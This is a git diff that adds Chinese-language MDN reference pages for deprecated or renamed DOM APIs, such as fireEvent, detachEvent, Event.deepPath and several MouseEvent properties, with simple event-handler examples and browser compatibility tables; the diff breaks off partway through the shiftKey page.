+ + diff --git a/files/zh-cn/conflicting/web/api/element/index.html b/files/zh-cn/conflicting/web/api/element/index.html new file mode 100644 index 0000000000..2a489d3b22 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/element/index.html @@ -0,0 +1,48 @@ +--- +title: Slotable +slug: Web/API/Slotable +tags: + - API + - Web Components + - 参考 + - 接口 +translation_of: Web/API/Slottable +translation_of_original: Web/API/Slotable +--- +

{{APIRef("Shadow DOM")}}

+ +

Slotable mixin 定义了允许节点成为 {{htmlelement("slot")}} 元素的内容的特性——下面的特性被包含在 {{domxref("Element")}} 和 {{domxref("Text")}} API 之中。

+ +

属性

+ +
+
{{domxref("Slotable.assignedSlot")}} {{readonlyInline}}
+
返回节点所插入的 {{htmlelement("slot")}} 元素。
+
+ +

方法

+ +

无。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG','#slotable','Slotable')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Slotable")}}

diff --git a/files/zh-cn/conflicting/web/api/event/composedpath/index.html b/files/zh-cn/conflicting/web/api/event/composedpath/index.html new file mode 100644 index 0000000000..61bfdf1366 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/event/composedpath/index.html @@ -0,0 +1,90 @@ +--- +title: Event.deepPath +slug: Web/API/Event/deepPath +translation_of: Web/API/Event/composedPath +translation_of_original: Web/API/Event/deepPath +--- +

{{SeeCompatTable}}{{APIRef("Shadow DOM")}}

+ +

{{domxref("Event")}}的deepPath 属性返回事件冒泡过程所有经过的节点所构成的{{jsxref("Array")}}数组

+ +

语法

+ +
var nodes[] = Event.deepPath
+ +

返回值

+ +

一组节点 构成的{{jsxref("Array")}}数组

+ +

规范

+ + + + + + + + + + + + + + +
规格状态评语
{{SpecName('Shadow DOM','#widl-Event-deepPath-sequence-EventTarget','deepPath')}}{{Spec2('Shadow DOM')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(53.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(53.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(53.0)}}
+
diff --git a/files/zh-cn/conflicting/web/api/eventtarget/addeventlistener/index.html b/files/zh-cn/conflicting/web/api/eventtarget/addeventlistener/index.html new file mode 100644 index 0000000000..f637813381 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/eventtarget/addeventlistener/index.html @@ -0,0 +1,9 @@ +--- +title: 为这个EventTarget附加事件. +slug: Web/API/EventTarget/attachEvent +tags: + - Junk +translation_of: Web/API/EventTarget/addEventListener +translation_of_original: Web/API/EventTarget/attachEvent +--- +

{{DOMxRef("EventTarget.addEventListener","EventTarget.addEventListener()")}}

diff --git a/files/zh-cn/conflicting/web/api/eventtarget/dispatchevent/index.html b/files/zh-cn/conflicting/web/api/eventtarget/dispatchevent/index.html new file mode 100644 index 0000000000..edc74b2306 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/eventtarget/dispatchevent/index.html @@ -0,0 +1,93 @@ +--- +title: EventTarget.fireEvent() +slug: Web/API/EventTarget/fireEvent +translation_of: Web/API/EventTarget/dispatchEvent +translation_of_original: Web/API/EventTarget/fireEvent +--- +

{{APIRef("DOM Events")}}

+ +

{{ Non-standard_header() }}

+ +

概述

+ +

这是微软IE浏览器用以替代{{domxref("EventTarget.dispatchEvent()")}}的私有方法,与{{domxref("EventTarget.dispatchEvent()")}}不同的是通过fireEvent() 触发的事件不会触发事件的默认行为,例如,通过fireEvent()触发<input type="checkbox">的点击事件并不会切换checkbox的选中状态

+ +

语法

+ +
cancelled = target.fireEvent(eventNameWithOn, event)
+
+ +
+
target
+
要触发事件的元素
+
eventNameWithOn
+
要触发事件的名字,前缀为“on”,例如,可以用过"onclick"来触发点击事件
+
event
+
要触发的事件对象
+
cancelled
+
布尔值,事件是否被事件句柄取消
+
+ +

规范

+ +

无此部分的规范

+ +

微软的描述: has a description on MSDN.

+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatNo() }}{{ CompatNo() }}6 到 10 [1]{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +

[1]: fireEvent()在IE11+已经不再支持,{{domxref("EventTarget.dispatchEvent()")}}在IE9+已经支持

+ +

相关链接

+ + diff --git a/files/zh-cn/conflicting/web/api/eventtarget/removeeventlistener/index.html b/files/zh-cn/conflicting/web/api/eventtarget/removeeventlistener/index.html new file mode 100644 index 0000000000..3b4cbcfd90 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/eventtarget/removeeventlistener/index.html @@ -0,0 +1,97 @@ +--- +title: EventTarget.detachEvent() +slug: Web/API/EventTarget/detachEvent +tags: + - API + - DOM + - Method + - Non-standard +translation_of: Web/API/EventTarget/removeEventListener +translation_of_original: Web/API/EventTarget/detachEvent +--- +

{{APIRef("DOM Events")}}

+ +

{{ Non-standard_header() }}

+ +

简介

+ +

这是Microsoft Internet Explorer专有的用于替代标准的 {{domxref("EventTarget.removeEventListener()")}} 的方法。

+ +

语法

+ +
target.detachEvent(eventNameWithOn, callback)
+
+ +
+
target
+
将要移除事件的DOM节点
+
eventNameWithOn
+
将要移除的事件名,以“on”为前缀(例如它是一个事件处理程序)。 例如,您可以使用“onclick”移除点击事件的事件处理程序。
+
callback
+
注销事件后的回调函数
+
+ +

详细

+ +

任何规范没有此部分。

+ +

微软在 MSDN 上有相关描述。

+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
特征ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatNo() }}{{ CompatNo() }}6 至 10 [1]{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
特征AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +

[1]: detachEvent() 在 IE11+ 中不再支持。 {{domxref("EventTarget.removeEventListener()")}} 在 IE9+ 中支持。

+ +

See also

+ + diff --git a/files/zh-cn/conflicting/web/api/file_and_directory_entries_api/introduction/index.html b/files/zh-cn/conflicting/web/api/file_and_directory_entries_api/introduction/index.html new file mode 100644 index 0000000000..90ace79b50 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/file_and_directory_entries_api/introduction/index.html @@ -0,0 +1,81 @@ +--- +title: File System API guide +slug: WebGuide/API/File_System +translation_of: Web/API/File_and_Directory_Entries_API/Introduction +translation_of_original: WebGuide/API/File_System +--- +

{{ SeeCompatTable() }}

+

The File System API simulates a local file system that web apps can navigate around. You can develop apps that can read, write, and create files and directories in a virtual, sandboxed file system.

+

The asynchronous API methods return without blocking the calling thread. The asynchronous API doesn't give you data by returning values; instead, you have to pass a callback function. The synchronous API is intended to be used inside WebWorkers.

+

For an overview of the File System API, see the following articles:

+

{{ListSubpages}}

+

Browser compatibility

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Asynchronous API13 {{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}15 {{ property_prefix("webkit") }}{{ CompatNo() }}
Synchronous API13 {{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}15 {{ property_prefix("webkit") }}{{ CompatNo() }}
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Asynchronous API{{ CompatNo() }}0.16{{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}14 {{ property_prefix("webkit") }}{{ CompatNo() }}
Synchronous API{{ CompatNo() }}0.16{{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}14 {{ property_prefix("webkit") }}{{ CompatNo() }}
+
+

See also

+ diff --git a/files/zh-cn/conflicting/web/api/geolocation/index.html b/files/zh-cn/conflicting/web/api/geolocation/index.html new file mode 100644 index 0000000000..f5432039ba --- /dev/null +++ b/files/zh-cn/conflicting/web/api/geolocation/index.html @@ -0,0 +1,105 @@ +--- +title: NavigatorGeolocation +slug: Web/API/NavigatorGeolocation +translation_of: Web/API/Geolocation +translation_of_original: Web/API/NavigatorGeolocation +--- +

{{APIRef("Geolocation API")}}

+ +

NavigatorGeolocation  contains a creation method allowing objects implementing it to obtain a {{domxref("Geolocation")}} instance.

+ +

There is no object of type NavigatorGeolocation, but some interfaces, like {{domxref("Navigator")}} implements it.

+ +

Properties

+ +

The NavigatorGeolocation interface doesn't inherit any property.

+ +
+
{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}
+
Returns a {{domxref("Geolocation")}} object allowing accessing the location of the device.
+
+ +

Methods

+ +

The NavigatorGeolocation interface neither implements, nor inherit any method.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#navi-geo', 'NavigatorGeolocation')}}{{Spec2('Geolocation')}}Initial specification.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatGeckoDesktop("1.9.1")}}910.60
+ Removed in 15.0
+ Reintroduced in 16.0
5
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}{{CompatUnknown()}}10.60{{CompatUnknown()}}
+
+ +

See also

+ + + +

 

diff --git a/files/zh-cn/conflicting/web/api/globaleventhandlers/ongotpointercapture/index.html b/files/zh-cn/conflicting/web/api/globaleventhandlers/ongotpointercapture/index.html new file mode 100644 index 0000000000..2ff983926f --- /dev/null +++ b/files/zh-cn/conflicting/web/api/globaleventhandlers/ongotpointercapture/index.html @@ -0,0 +1,143 @@ +--- +title: Element.ongotpointercapture +slug: Web/API/Element/ongotpointercapture +tags: + - API + - DOM + - Element + - Event Handler + - Pointer Events + - Property + - Reference + - 事件句柄 + - 元素 + - 属性 + - 引用 + - 指针事件 +translation_of: Web/API/GlobalEventHandlers/ongotpointercapture +translation_of_original: Web/API/Element/ongotpointercapture +--- +

{{ ApiRef("DOM") }}

+ +

ongotpointercapture 是一个{{domxref("Element")}} 接口的{{domxref("EventHandler")}} 属性,返回一个{{event("gotpointercapture")}} 事件类型的事件句柄 (function) .

+ +

语法

+ +
var gotCaptureHandler = target.ongotpointercapture;
+
+ +

Return value

+ +
+
gotCaptureHandler
+
元素 target 的gotpointercapture 事件句柄。 .
+
+ +

Example

+ +
<html>
+<script>
+function overHandler(ev) {
+ // Determine the target event's gotpointercapture handler
+ var gotCaptureHandler = ev.target.ongotpointercapture;
+}
+function init() {
+ var el=document.getElementById("target");
+ el.onpointerover = overHandler;
+}
+</script>
+<body onload="init();">
+<div id="target"> Touch me ... </div>
+</body>
+</html>
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Events 2','#widl-Element-ongotpointercapture', 'ongotpointercapture')}}{{Spec2('Pointer Events 2')}}无稳定版
{{SpecName('Pointer Events', '#widl-Element-ongotpointercapture', 'ongotpointercapture')}}{{Spec2('Pointer Events')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}} [1]{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Implementation withdrawn. See {{Bug("1166347")}}.

+ +

See also

+ + diff --git a/files/zh-cn/conflicting/web/api/globaleventhandlers/onmouseup/index.html b/files/zh-cn/conflicting/web/api/globaleventhandlers/onmouseup/index.html new file mode 100644 index 0000000000..03a4b116b8 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/globaleventhandlers/onmouseup/index.html @@ -0,0 +1,43 @@ +--- +title: window.onmouseup +slug: Web/API/Window/onmouseup +translation_of: Web/API/GlobalEventHandlers/onmouseup +translation_of_original: Web/API/Window/onmouseup +--- +

{{ ApiRef() }}

+

概述

+

当前窗口的mouseup事件的事件句柄.

+

语法

+
window.onmouseup = funcRef;
+
+

参数

+ +

例子

+
window.onmouseup = doFunc;
+
+
<html>
+<head>
+
+<title>onmouseup测试</title>
+
+<script type="text/javascript">
+
+window.onmouseup = mouseup;
+
+function mouseup()
+{
+ alert("检测到mouseup事件!");
+}
+</script>
+</head>
+
+<body>
+<p>在页面上按下鼠标中某个键,保持几秒后松开.mouseup事件会在你松开鼠标时触发</p>
+</body>
+</html>
+
+

规范

+

没有任何公开的标准

+

{{ languages( { "ja": "ja/DOM/window.onmouseup" ,"en": "en/DOM/window.onmouseup" } ) }}

diff --git a/files/zh-cn/conflicting/web/api/globaleventhandlers/onscroll/index.html b/files/zh-cn/conflicting/web/api/globaleventhandlers/onscroll/index.html new file mode 100644 index 0000000000..af48e1575f --- /dev/null +++ b/files/zh-cn/conflicting/web/api/globaleventhandlers/onscroll/index.html @@ -0,0 +1,54 @@ +--- +title: window.onscroll +slug: Web/API/Window/onscroll +translation_of: Web/API/GlobalEventHandlers/onscroll +translation_of_original: Web/API/Window/onscroll +--- +

{{ ApiRef() }}

+

概述

+

为当前页面的页面滚动事件添加事件处理函数.

+

语法

+
window.onscroll = funcRef;
+
+ +

例子

+
window.onscroll = function (e) {
+  // 当页面的滚动条滚动时,会执行这里的代码
+}
+
+
<html>
+<head>
+
+<title>onscroll test</title>
+
+<script type="text/javascript">
+
+window.onscroll = scroll;
+
+function scroll()
+{
+ alert("检测到页面滚动事件:"+window.pageXOffset+" "+window.pageYOffset);
+ // 注意: window.innerWidth 和 window.innerHeight 可以获得页面可见区域的宽和高.
+}
+</script>
+</head>
+
+<body>
+<p>Resize the window</p>
+<p>to a very small size,</p>
+<p>and use the scrollbars</p>
+<p>to move around the page content</p>
+<p>in the window.</p>
+</body>
+</html>
+
+

备注

+

{{ Bug("189308") }}, 在旧版本的Gecko中(Gecko 1.8/Firefox 1.5之前), scroll 事件只会在用户拖动滚动条时发生,使用方向键和鼠标滚轮滚动页面则不会触发该事件.

+

当 window.scrollX/scrollY 不为 0时,意味着用户或者网页脚本已经执行了窗口的滚动行为.

+

规范

+ +

{{ languages( { "en": "en/DOM/window.onscroll"} ) }}

diff --git a/files/zh-cn/conflicting/web/api/globaleventhandlers/ontouchmove/index.html b/files/zh-cn/conflicting/web/api/globaleventhandlers/ontouchmove/index.html new file mode 100644 index 0000000000..3bbf3d5ce4 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/globaleventhandlers/ontouchmove/index.html @@ -0,0 +1,125 @@ +--- +title: GlobalEventHandlers.ontouchmove +slug: Web/API/GlobalEventHandlers/GlobalEventHanders.ontouchmove +translation_of: Web/API/GlobalEventHandlers/ontouchmove +translation_of_original: Web/API/GlobalEventHandlers/GlobalEventHanders.ontouchmove +--- +
{{ApiRef("HTML DOM")}}
+ +

A {{domxref("GlobalEventHandlers","global event handler")}} for the {{event("touchmove")}} event.

+ +
+

注意:这个属性还没有正式的标准。它在 {{SpecName('Touch Events 2')}} {{Spec2('Touch Events 2')}} 说明书里被规定且不在 {{SpecName('Touch Events')}} {{Spec2('Touch Events')}}中。这个属性没有被广泛应用。

+
+ +

Syntax

+ +
var moveHandler = someElement.ontouchmove;
+
+ +

Return value

+ +
+
moveHandler
+
The touchmove event handler for element someElement.
+
+ +

Example

+ +

This example shows two ways to use ontouchmove to set an element's touchmove event handler.

+ +
<html>
+<script>
+function moveTouch(ev) {
+ // Process the event
+}
+function init() {
+ var el=document.getElementById("target1");
+ el.ontouchmove = moveTouch;
+}
+</script>
+<body onload="init();">
+<div id="target1"> Touch me ... </div>
+<div id="target2" ontouchmove="moveTouch(event)"> Touch me ... </div>
+</body>
+</html>
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Touch Events 2','#widl-GlobalEventHandlers-ontouchmove')}}{{Spec2('Touch Events 2')}}Non-stable version.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support     
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support        
+
+ +

See also

+ + diff --git a/files/zh-cn/conflicting/web/api/htmlelement/outertext/index.html b/files/zh-cn/conflicting/web/api/htmlelement/outertext/index.html new file mode 100644 index 0000000000..01de770af7 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/htmlelement/outertext/index.html @@ -0,0 +1,9 @@ +--- +title: Node.outerText +slug: Web/API/Node/outerText +tags: + - Node.outerText +translation_of: Web/API/HTMLElement/outerText +translation_of_original: Web/API/Node/outerText +--- +

请参阅 {{domxref("HTMLElement.outerText")}}

diff --git a/files/zh-cn/conflicting/web/api/htmlinputelement/index.html b/files/zh-cn/conflicting/web/api/htmlinputelement/index.html new file mode 100644 index 0000000000..0cccf89889 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/htmlinputelement/index.html @@ -0,0 +1,49 @@ +--- +title: HTMLInputElement.mozSetFileNameArray +slug: Web/API/HTMLInputElement/mozSetFileNameArray +translation_of: Web/API/HTMLInputElement +translation_of_original: Web/API/HTMLInputElement/mozSetFileNameArray +--- +
+
+
+
{{APIRef("HTML DOM")}}
+
+
+{{gecko_minversion_header("1.9.2")}}
+ +

概述

+ +

设置一个HTML input元素中选中的若干文件的路径以及文件名.

+ +
注: 该方法是Gecko私有的方法,在其他浏览器中不可用,且是个特权方法,不能在普通网页中使用.
+ +

语法

+ +
inputElement.mozSetFileNameArray(aFileNames, aLength);
+
+ +

参数

+ + + +

示例

+ +
var fileArray = {"/foo/bar.txt", "/foo/foosball.txt"};
+
+inputElement.mozSetFileNameArray(fileArray, fileArray.length);
+
+ +

规范

+ +

非标准,Mozilla私有方法.

+ +

相关链接

+ + diff --git a/files/zh-cn/conflicting/web/api/htmlmediaelement/abort_event/index.html b/files/zh-cn/conflicting/web/api/htmlmediaelement/abort_event/index.html new file mode 100644 index 0000000000..9a233b4d80 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/htmlmediaelement/abort_event/index.html @@ -0,0 +1,74 @@ +--- +title: abort +slug: Web/Events/abort +tags: + - abort +translation_of: Web/API/HTMLMediaElement/abort_event +translation_of_original: Web/Events/abort +--- +

当一个资源的加载已中止时,将触发 abort事件。

+ +
+

译者注:这个事件只在 IE 支持,试了最新的 Chrome、FireFox、Safari 都不支持。

+
+ +

常规信息

+ +
+
规范
+
DOM L3
+
接口
+
从UI组件产生为UIEvent , 否则为Event .
+
是否冒泡
+
+
可取消默认行为
+
+
目标对象
+
元素(Element)
+
默认行为
+
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}产生该事件的对象(DOM树中最顶级的那个对象).
type {{readonlyInline}}{{domxref("DOMString")}}事件类型.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}该事件是否冒泡.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}该事件是否可取消默认行为.
view {{readonlyInline}}WindowProxydocument.defaultView (该文档的window对象 )
detail {{readonlyInline}}long (float)0.
diff --git a/files/zh-cn/conflicting/web/api/index.html b/files/zh-cn/conflicting/web/api/index.html new file mode 100644 index 0000000000..f1a247fd70 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/index.html @@ -0,0 +1,71 @@ +--- +title: Element.name +slug: Web/API/Element/name +translation_of: Web/API +translation_of_original: Web/API/Element/name +--- +

{{ APIRef() }}

+ +

概述

+ +

name 获取或设置一个 DOM 对象的 name 属性;它只能应用于下列元素:{{ HTMLelement("a") }}, {{ HTMLelement("applet") }}, {{ HTMLelement("button") }}, {{ HTMLelement("form") }}, {{ HTMLelement("frame") }}, {{ HTMLelement("iframe") }}, {{ HTMLelement("img") }}, {{ HTMLelement("input") }}, {{ HTMLelement("map") }}, {{ HTMLelement("meta") }}, {{ HTMLelement("object") }}, {{ HTMLelement("param") }}, {{ HTMLelement("select") }}, and {{ HTMLelement("textarea") }}.

+ +
+

需要注意的是,name 属性在其他类型元素上不存在。它不是 {{domxref("Element")}} 或 {{domxref("HTMLElement")}} 接口的一个属性。

+
+ +

Name 可被使用于 {{ domxref("document.getElementsByName()") }} 方法,form 以及 the form elements collection。当使用于表单(form)或表单元素(form elements collection)时,可能返回一个单独的元素或一个元素集合。

+ +

语法

+ +
HTMLElement.name = string;
+var elName = HTMLElement.name;
+
+var fControl = HTMLFormElement.elementName;
+var controlCollection = HTMLFormElement.elements.elementName;
+
+ +

例子

+ +
<form action="" name="formA">
+  <input type="text" value="foo">
+</form>
+
+<script type="text/javascript">
+
+  // 获取表单中第一个元素的引用
+  var formElement = document.forms['formA'].elements[0];
+
+  // 设置一个 name
+  formElement.name = 'inputA';
+
+  // 显示 input 的 value 值
+  alert(document.forms['formA'].elements['inputA'].value);
+
+</script>
+
+ +

备注

+ +

在 IE6 中,使用 {{domxref("document.createElement()")}} 方法创建的 DOM 对象的 name 属性不能被更改。

+ +

规范

+ +

W3C DOM 2 HTML Specification:

+ + diff --git a/files/zh-cn/conflicting/web/api/mouseevent/altkey/index.html b/files/zh-cn/conflicting/web/api/mouseevent/altkey/index.html new file mode 100644 index 0000000000..fb69717e99 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/mouseevent/altkey/index.html @@ -0,0 +1,44 @@ +--- +title: event.altKey +slug: Web/API/event.altKey +translation_of: Web/API/MouseEvent/altKey +translation_of_original: Web/API/event.altKey +--- +

{{ ApiRef() }}

+

概述

+

表明当事件触发时,ALT键是否处于按下的状态.

+

语法

+
event.altKey
+
+

例子

+
var bool = event.altKey;
+
+

如果当事件触发时,ALT键处于按下的状态,则bool的值为true,否则为false.

+
<html>
+<head>
+<title>altKey 示例</title>
+
+<script type="text/javascript">
+
+function showChar(e){
+  alert(
+    "按下的键: " + String.fromCharCode(e.charCode) + "\n"
+    + "charCode: " + e.charCode + "\n"
+    + "是否按下ALT键: " + e.altKey + "\n"
+  );
+}
+
+</script>
+</head>
+
+<body onkeypress="showChar(event);">
+<p>
+按下一个字符键,尝试同时按下ALT键.<br />
+你也可以同时按下SHIFT键和ALT键.
+</p>
+</body>
+</html>
+
+

规范

+

DOM Level 2 Events - property of MouseEvent object

+

{{ languages( { "ja": "ja/DOM/event.altKey", "pl": "pl/DOM/event.altKey", "en": "en/DOM/event.altKey" } ) }}

diff --git a/files/zh-cn/conflicting/web/api/mouseevent/button/index.html b/files/zh-cn/conflicting/web/api/mouseevent/button/index.html new file mode 100644 index 0000000000..c75916a287 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/mouseevent/button/index.html @@ -0,0 +1,82 @@ +--- +title: event.button +slug: Web/API/event.button +translation_of: Web/API/MouseEvent/button +translation_of_original: Web/API/event.button +--- +

{{ ApiRef() }}

+

概述

+

表明当前事件是由鼠标的哪个按键触发的.

+

语法

+
event.button
+
+

例子

+
var buttonCode = event.button;
+
+

该属性返回一个整数值,代表触发当前事件的鼠标按键.在通常情况下,对应关系如下:

+ +
+ 注意: IE不遵守 See QuirksMode for details.
+

The order of buttons may be different depending on how the pointing device has been configured.

+

例子

+
<script>
+var whichButton = function (e) {
+    // 处理不同的事件模型
+    var e = e || window.event;
+    var btnCode;
+
+    if ('object' === typeof e) {
+        btnCode = e.button;
+
+        switch (btnCode) {
+            case 0:
+                alert('你按了左键.');
+            break;
+            case 1:
+                alert('你按了中键.');
+            break;
+            case 2:
+                alert('你按了右键.');
+            break;
+            default:
+                alert('未知按键: ' + btnCode);
+        }
+    }
+}
+</script>
+
+<button onmouseup="whichButton(event);" oncontextmenu="event.preventDefault();">请点击鼠标...</button>
+
+

备注

+

Because mouse clicks are frequently intercepted by the user interface, it may be difficult to detect buttons other than those for a standard mouse click (usually the left button) in some circumstances.

+

Users may change the configuration of buttons on their pointing device so that if an event's button property is zero, it may not have been caused by the button that is physically left–most on the pointing device; however, it should behave as if the left button was clicked in the standard button layout.

+

规范

+

DOM 2 Events Specification: button

+

浏览器兼容性

+

Based on Jan Wolter's JavaScript Madness: Mouse Events.

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + +
FeatureGeckoWebkitInternet ExplorerOpera
Basic support152398
+
+

{{ languages( { "ja": "ja/DOM/event.button", "pl": "pl/DOM/event.button" ,"en": "en/DOM/event.button" } ) }}

diff --git a/files/zh-cn/conflicting/web/api/mouseevent/relatedtarget/index.html b/files/zh-cn/conflicting/web/api/mouseevent/relatedtarget/index.html new file mode 100644 index 0000000000..a334f4b2eb --- /dev/null +++ b/files/zh-cn/conflicting/web/api/mouseevent/relatedtarget/index.html @@ -0,0 +1,124 @@ +--- +title: event.relatedTarget +slug: Web/API/event.relatedTarget +translation_of: Web/API/MouseEvent/relatedTarget +translation_of_original: Web/API/event.relatedTarget +--- +

 

+ +

{{APIRef("DOM")}}

+ +

简要

+ +

为事件标识第二目标

+ +

描述

+ +

relatedTarget 属性用于在一个事件中查找另外一个元素。有些事件比如 mouseover 通常侧重处理一个特定的目标,而有些有也可能会涉及到第二目标,比如当目标退出第一目标的 mouseover 事件.

+ +

事件

+ +

只有 MouseEvents 有这个属性,而且这些些只在特定的 MouseEvents 事件中有效:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
事件名relatedTarget role
focusin哪个 {{domxref("EventTarget")}} 失去焦点
focusout哪个 {{domxref("EventTarget")}} 获得焦点
mouseenter鼠标从哪个 {{domxref("EventTarget")}} 进来
mouseleave鼠标移到哪个{{domxref("EventTarget")}} 去
mouseout鼠标移到哪个{{domxref("EventTarget")}} 去
mouseover鼠标从哪个{{domxref("EventTarget")}} 进来
dragenter鼠标从哪个{{domxref("EventTarget")}} 进来
dragexit鼠标移到哪个{{domxref("EventTarget")}} 去
+ +

示例

+ +
<!DOCTYPE html>
+<html>
+<head>
+
+<style>
+div > div {
+  height: 128px;
+  width: 128px;
+}
+#top    { background-color: red; }
+#bottom { background-color: blue; }
+</style>
+
+<script>
+function outListener(event) {
+  console.log("exited " + event.target.id + " for " + event.relatedTarget.id);
+}
+
+function overListener(event) {
+  console.log("entered " + event.target.id + " from " + event.relatedTarget.id);
+}
+
+function loadListener() {
+  var top = document.getElementById("top"),
+      bottom = document.getElementById("bottom");
+
+  top.addEventListener("mouseover", overListener);
+  top.addEventListener("mouseout", outListener);
+  bottom.addEventListener("mouseover", overListener);
+  bottom.addEventListener("mouseout", outListener);
+}
+</script>
+
+</head>
+
+<body onload="loadListener();">
+
+<div id="outer">
+  <div id="top"></div>
+  <div id="bottom"></div>
+</div>
+
+</body>
+</html>
+
+ +

在JSFiddle中查看

+ +

Specification

+ + + +

See also

+ + diff --git a/files/zh-cn/conflicting/web/api/mouseevent/shiftkey/index.html b/files/zh-cn/conflicting/web/api/mouseevent/shiftkey/index.html new file mode 100644 index 0000000000..e01246caca --- /dev/null +++ b/files/zh-cn/conflicting/web/api/mouseevent/shiftkey/index.html @@ -0,0 +1,41 @@ +--- +title: event.shiftKey +slug: Web/API/event.shiftKey +translation_of: Web/API/MouseEvent/shiftKey +translation_of_original: Web/API/event.shiftKey +--- +

{{ ApiRef() }}

+

概述

+

表明当事件触发时,SHIFT键是否处于按下状态.

+

语法

+
var bool = event.shiftKey;
+
+

bool 的值为 truefalse

+

例子

+
<html>
+<head>
+<title>shiftKey example</title>
+
+<script type="text/javascript">
+
+function showChar(e){
+  alert(
+    "Key Pressed: " + String.fromCharCode(e.charCode) + "\n"
+    + "charCode: " + e.charCode + "\n"
+    + "SHIFT key pressed: " + e.shiftKey + "\n"
+    + "ALT key pressed: " + e.altKey + "\n"
+  );
+}
+
+</script>
+</head>
+
+<body onkeypress="showChar(event);">
+<p>按下一个字符键,尝试同时按下SHIFT键.<br />
+你也可以同时按下SHIFT键和ALT键.</p>
